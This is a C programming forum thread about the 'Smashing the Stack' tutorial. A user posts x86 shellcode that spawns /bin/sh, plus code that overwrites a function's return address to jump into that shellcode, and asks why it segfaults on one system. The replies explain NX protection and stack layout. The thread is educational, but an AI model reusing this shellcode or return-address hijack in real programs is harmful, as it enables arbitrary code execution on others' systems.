Thread: Sometimes segfault, sometimes not

Hybrid View

Previous Post Previous Post   Next Post Next Post
  1. #1
    Registered User
    Join Date
    Jul 2007
    Posts
    186

    Sometimes segfault, sometimes not

    I have a simple code example that I'm following from the Smashing the Stack article on buffer overflows. I can overwrite the return address, but when it actually returns it segfaults.

    Unworking Version:
    Code:
    char shellcode[] =
    	"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
    	"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
    	"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
    	"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
    
    void function()
    {
       int *ret;
       ret = (char *)&ret + 8;//11 in main
       printf("return address is %x\n",*ret);//correctly prints return address
       printf("shell code located at %x\n",&shellcode[0]);
       (*ret) = &shellcode[0];
       printf("If I get here it means my problem is in returning, not in touching the pointer\n");
       printf("Trying to return to address: %x\n",*ret);
    }
    
    void main() 
    {
    	function();
    }
    This version prints out everything its supposed to. The address it tries to return to is the address of the first block of the shell code.

    Working version:
    Here's a simple version that does work for comparison but doesn't do any shell coding, it just skips a line
    Code:
    void function(int a,int b, int c)
    {
    	char buffer1[5];	
    	int *ret;
    	ret = &buffer1[13]; //-4 stack pointer
    	(*ret) += 7;
    }
     
    void main()
    { 
    	int x;
    	x=4;
    	function(1,2,3);
    	x=1;
    	printf("%d\n",x);
    }
    Can the compiler tell that I'm trying to point my memory to something in data segment rather than something on the stack? Is there a way to tell if its a problem with the assembly code in the array?

    Thanks

  2. #2
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    I tried the code in ubuntu and it worked so it can't be bad assembly instructions. Maybe the different version of linux (I think I was using red hat) didn't like what I was trying to do, and Ubuntu didn't care.

  3. #3
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    Maybe you have a version of Linux that actually enables the NX (No Execute) bit enabled - which prevents overflowing code from exuecuting when it's not in a "allowed to execute" memory section (e.g. on the stack).

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  4. #4
    Complete Beginner
    Join Date
    Feb 2009
    Posts
    312
    Matsp is most probably right. You can find out whether the NX bit is set by looking at the "flags" line of /proc/cpuinfo. Note that not all host environments meet the requirements to support the NX bit, even if the kernel claims to do so. On the other hand, there may be other preventive measures which may not necessarily be detectable by ordinary users.

    On my Ubuntu, your program perfectly opens a new shell.

    In case you understand written German, I can provide you with a plethora of tutorials which are far better than "Smashing the Stack for ..."

    HaCk ThE pLaNeT!!!11,
    Philip
    All things begin as source code.
    Source code begins with an empty file.
    -- Tao Te Chip

  5. #5
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    Unfortunately I don't understand a word of german but any information would be helpful.

    I tried /proc/cpuinfo on my Ubuntu installation but I got a command not found.

  6. #6
    Registered User Maz's Avatar
    Join Date
    Nov 2005
    Location
    Finland
    Posts
    194
    cat /proc/cpuinfo

  7. #7
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    Thanks. I did cat /proc/cpuinfo on my Ubuntu installation and did indeed find nx under flags. Doesn't that mean the nx bit is set? So technically my code SHOULD NOT work because that bit is set...even though it does.

  8. #8
    Officially An Architect brewbuck's Avatar
    Join Date
    Mar 2007
    Location
    Portland, OR
    Posts
    7,396
    Quote Originally Posted by jcafaro10 View Post
    Thanks. I did cat /proc/cpuinfo on my Ubuntu installation and did indeed find nx under flags. Doesn't that mean the nx bit is set? So technically my code SHOULD NOT work because that bit is set...even though it does.
    Non-executable stack is a weird thing. The stack actually has to be executable in certain situations (for one thing, signal handling depends on it), so the NX bit does something a little more involved than just making the stack non-executable.

    Again, I'm being purposefully vague.

    EDIT: Besides, the NX bit would not affect your specific example, since you are not writing code to the stack, you are just altering a return address, something which is still possible with stack-hardened implementations.
    Code:
    //try
    //{
    	if (a) do { f( b); } while(1);
    	else   do { f(!b); } while(1);
    //}

  9. #9
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    That makes sense. So then to figure out why I'll segfault in my red hat version and not in my ubuntu version, just by changing the return address, is there another flag I should check for?

  10. #10
    Officially An Architect brewbuck's Avatar
    Join Date
    Mar 2007
    Location
    Portland, OR
    Posts
    7,396
    Quote Originally Posted by jcafaro10 View Post
    That makes sense. So then to figure out why I'll segfault in my red hat version and not in my ubuntu version, just by changing the return address, is there another flag I should check for?
    I think the difference between platforms is due to the compiler. You are computing the return address by taking the address of a local variable then adding 8 to it. The stack is normally arranged like this:

    param3
    param2
    param1
    return addr
    prev_ebp
    local1
    local2
    local3
    ...

    So the address of the first local var, plus 8, gives the return address, ONLY IF there is nothing else on the stack between local1 and prev_ebp. The compiler is not guaranteed to arrange the stack in this way. You should not rely on what the stack look like anywhere beneath the return address.
    Code:
    //try
    //{
    	if (a) do { f( b); } while(1);
    	else   do { f(!b); } while(1);
    //}

  11. #11
    Officially An Architect brewbuck's Avatar
    Join Date
    Mar 2007
    Location
    Portland, OR
    Posts
    7,396
    Returning directly into the data area is not going to work, since the data area is not executable. If I went into any more detail I'd basically be telling you how to write a stack smashing exploit and I'm not going to do that (forum rules and all...)
    Code:
    //try
    //{
    	if (a) do { f( b); } while(1);
    	else   do { f(!b); } while(1);
    //}

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Segfault with Linked List Program
    By kbrandt in forum C Programming
    Replies: 1
    Last Post: 06-23-2009, 07:13 AM
  2. Segfault with additional variable?
    By misterFry in forum C++ Programming
    Replies: 11
    Last Post: 11-12-2008, 10:55 AM
  3. malloc() resulting in a SegFault?!
    By cipher82 in forum C++ Programming
    Replies: 21
    Last Post: 09-18-2008, 11:24 AM
  4. use of printf prevents segfault!
    By MK27 in forum C Programming
    Replies: 31
    Last Post: 08-27-2008, 12:38 PM
  5. Segfault and Warning help
    By Uncle Rico in forum C Programming
    Replies: 1
    Last Post: 03-25-2005, 02:51 PM